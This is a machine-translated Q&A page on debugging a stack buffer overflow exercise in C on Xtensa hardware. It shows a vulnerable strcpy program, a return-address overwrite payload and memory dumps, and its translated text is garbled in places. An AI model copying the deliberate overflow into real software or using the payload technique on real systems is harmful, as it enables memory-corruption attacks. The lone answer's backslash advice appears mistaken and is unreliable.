命令行的有效负载不会覆盖堆栈

问题描述 投票:0回答:1

[很抱歉,这太长了,我只希望贡献者在发布之前先了解一下我尝试过的内容。

我的代码:

     #include<stdio.h>
        #include<string.h>
        #include<stdlib.h>

        void nevercalled(){
            printf("nevercalled");
        }

        void gadget1(char payload[]){
            char buff[16];
            strcpy(buff, payload);
        }

    int main(int argc, char** argv){
        gadget1(argv[1]);
        return 0;
}

当我通过此命令行参数AAAABBBBCCCCDDDD \ x19 \ x0c \ x00 \ x60并查看了前20个单词时,我得到了:

0x603ffeb0:0x41414141 0x42424242 0x43434343 0x44444444

0x603ffec0:0x3931785c 0x6330785c 0x3030785c 0x3036785c

0x603ffed0:0x603fff00 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8

0x603ffee0:0x60000b9c 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8

0x603ffef0:0x00000002 0x603fff00 0xe8e8e8e8 0xe8e8e8e8

而不是像这样的东西:

0x603ffeb0:0x41414141 0x42424242 0x43434343 0x44444444

0x603ffec0:0x60000c19 0x6330785c 0x3030785c 0x3036785c

0x603ffed0:0x603fff00 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8

0x603ffee0:0x60000b9c 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8

0x603ffef0:0x00000002 0x603fff00 0xe8e8e8e8 0xe8e8e8e8

我认为存储在argv [1]中的有效负载在上面的代码中被视为单个字符串,而不是数组字符。我确认它表示为“ AAAABBBBCCCCDDDD \\ x19 \\ x0c \\ x00 \\ x60”,这对我没有用,因为它将地址转换为十六进制!

请确定,我决定直接传递参数以确认这一点(有效)

int main(int argc, char** argv){
    gadget1("AAAABBBBCCCCDDDD\x19\x0c\x00\x60");
    return 0;
}

0x603ffeb0:0x41414141 0x42424242 0x43434343 0x44444444

0x603ffec0:0x60000c19 0x60000b04 0xe8e8e8e8 0xe8e8e8e8

0x603ffed0:0x60000804 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8

0x603ffee0:0x60000bb8 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8

0x603ffef0:0x00000002 0x603fff00 0xe8e8e8e8 0xe8e8e8e8

以命令行格式:(令人头痛的[[0x3931785c返回]

int main(int argc, char** argv){ gadget1("AAAABBBBCCCCDDDD\\x19\\x0c\\x00\\x60"); return 0; }
0x603ffeb0:0x41414141 0x42424242 0x43434343 0x44444444

0x603ffec0:

0x3931785c

0x6330785c 0x3030785c 0x3036785c0x603ffed0:0x60000800 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8

0x603ffee0:0x60000bc4 0xe8e8e8e8 0xe8e8e8e8 0xe8e8e8e8

0x603ffef0:0x00000002 0x603fff00 0xe8e8e8e8 0xe8e8e8e8

如何防止将argv [1]中的有效负载处理为

    AAAABBBBCCCCDDDD \\ x19 \\ x0c \\ x00 \\ x60
  • c stack microprocessors hardware-programming xtensa
    1个回答
    0
    投票
    您需要使编译器理解\,\\应该可以完成以下操作:

    AAAABBBBCCCCDDDD\\x19\\x0c\\x00\\x60

    在控制台中。在gcc version 8.1.0 (x86_64-posix-seh-rev0, Built by MinGW-W64中测试)
    © www.soinside.com 2019 - 2024. All rights reserved.